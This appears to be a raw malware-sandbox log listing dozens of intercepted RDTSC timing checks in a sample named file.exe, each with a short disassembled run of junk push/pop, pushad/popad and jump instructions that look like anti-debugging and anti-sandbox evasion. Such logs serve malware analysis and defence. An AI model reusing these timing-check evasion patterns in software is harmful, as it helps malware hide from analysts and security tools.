Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D9B9 second address: F6D9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDDF0E482B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D9C5 second address: F6D9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D9CA second address: F6D9D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D9D1 second address: F6DA1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BE0h 0x00000009 jmp 00007FDDF0723BDBh 0x0000000e popad 0x0000000f jmp 00007FDDF0723BDAh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007FDDF0723BE9h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DA1A second address: F6DA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0E482C5h 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DBBC second address: F6DBC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DBC0 second address: F6DBE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDDF0E482C2h 0x0000000b pushad 0x0000000c jmp 00007FDDF0E482BBh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DBE8 second address: F6DBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDF0723BDBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DD4F second address: F6DD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70496 second address: F704A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FDDF0723BD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F704A6 second address: F704AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F704AA second address: F704BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BDAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70172 second address: F70176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71C1F second address: F71C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE0h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71C35 second address: F71C4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482BFh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71C4A second address: F71C68 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDF0723BE2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75D63 second address: F75D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FDDF0E482B6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75D74 second address: F75D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75D79 second address: F75D93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDF0E482C4h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75D93 second address: F75D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75D97 second address: F75D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76044 second address: F7604C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7604C second address: F7608C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDF0E482C7h 0x00000008 jmp 00007FDDF0E482C4h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jnp 00007FDDF0E482B6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7608C second address: F76094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76094 second address: F76099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76377 second address: F7637C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7637C second address: F76384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76384 second address: F76388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76502 second address: F7650E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDDF0E482B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7ADDA second address: F7ADE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B0D2 second address: F7B0D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B0D6 second address: F7B0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B0DC second address: F7B106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FDDF0E482FAh 0x0000000f jg 00007FDDF0E482BEh 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D8FD second address: F1D94D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007FDDF0723BE9h 0x0000000d nop 0x0000000e call 00007FDDF0723BE0h 0x00000013 add edi, dword ptr [ebp+122D280Ch] 0x00000019 pop ecx 0x0000001a mov ebx, dword ptr [ebp+124807D1h] 0x00000020 mov di, 5A0Ah 0x00000024 add eax, ebx 0x00000026 cld 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b jbe 00007FDDF0723BD6h 0x00000031 pop eax 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FEA8 second address: F7FEAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8608A second address: F860AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDF0723BEFh 0x00000008 jmp 00007FDDF0723BE9h 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86F9D second address: F86FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push edi 0x00000008 jnp 00007FDDF0E482B6h 0x0000000e jp 00007FDDF0E482B6h 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007FDDF0E482B6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86FBC second address: F86FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F872ED second address: F872F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8760B second address: F87610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87610 second address: F87618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87618 second address: F8761C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87B67 second address: F87B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0E482BCh 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FDDF0E482C4h 0x00000010 popad 0x00000011 jnc 00007FDDF0E482BCh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87B9E second address: F87BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87BA2 second address: F87BA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87BA6 second address: F87BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BE9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BD16 second address: F8BD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FDDF0E482BAh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BD28 second address: F8BD55 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDDF0723BD6h 0x00000008 jmp 00007FDDF0723BE7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jnl 00007FDDF0723BD6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BF10 second address: F8BF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 jnc 00007FDDF0E482B6h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDDF0E482C4h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BF39 second address: F8BF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8BF3D second address: F8BF41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C630 second address: F8C634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99091 second address: F9909B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDDF0E482B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F994DA second address: F994DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F994DE second address: F99510 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C3h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDDF0E482C7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99510 second address: F99518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99518 second address: F9951E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F997ED second address: F99802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDDF0723BD6h 0x0000000a pop edx 0x0000000b je 00007FDDF0723BDEh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99E35 second address: F99E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDDF0E482C2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99FA4 second address: F99FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99FB5 second address: F99FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99FB9 second address: F99FBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99FBF second address: F99FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDF0E482BEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98BF7 second address: F98C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BDFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98C0C second address: F98C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F98C18 second address: F98C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FDDF0723BD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0431 second address: FA0437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0589 second address: FA058F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA058F second address: FA05A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDDF0E482BCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA05A1 second address: FA05A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA05A7 second address: FA05D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDDF0E482BCh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA05D0 second address: FA05E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDDF0723BD6h 0x0000000a jnp 00007FDDF0723BD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6926 second address: FA692F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA692F second address: FA6962 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FDDF0723BDBh 0x0000000e jns 00007FDDF0723BD6h 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007FDDF0723BE3h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1BD0 second address: ED1BDF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FDDF0E482BAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE7C1 second address: FAE7DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDF0723BE5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE7DB second address: FAE7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE952 second address: FAE958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF249 second address: FBF24D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF24D second address: FBF259 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC686A second address: FC6875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6705 second address: FC672F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDF0723BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push ecx 0x0000000c push edx 0x0000000d jmp 00007FDDF0723BE7h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCCDDA second address: FCCDFB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FDDF0E482C7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD0DC second address: FCD0E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD27C second address: FCD280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD280 second address: FCD288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD288 second address: FCD292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDDF0E482B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD292 second address: FCD296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD296 second address: FCD29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE09D second address: FCE0B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop eax 0x0000000d popad 0x0000000e push ecx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF9E4 second address: FCF9E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF9E8 second address: FCF9EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF9EE second address: FCF9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF9F4 second address: FCFA18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FDDF0723BDCh 0x00000011 jg 00007FDDF0723BD6h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA18 second address: FCFA1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA1E second address: FCFA2A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDDF0723BD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA2A second address: FCFA3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FDDF0E482B6h 0x0000000a jng 00007FDDF0E482B6h 0x00000010 rdtsc
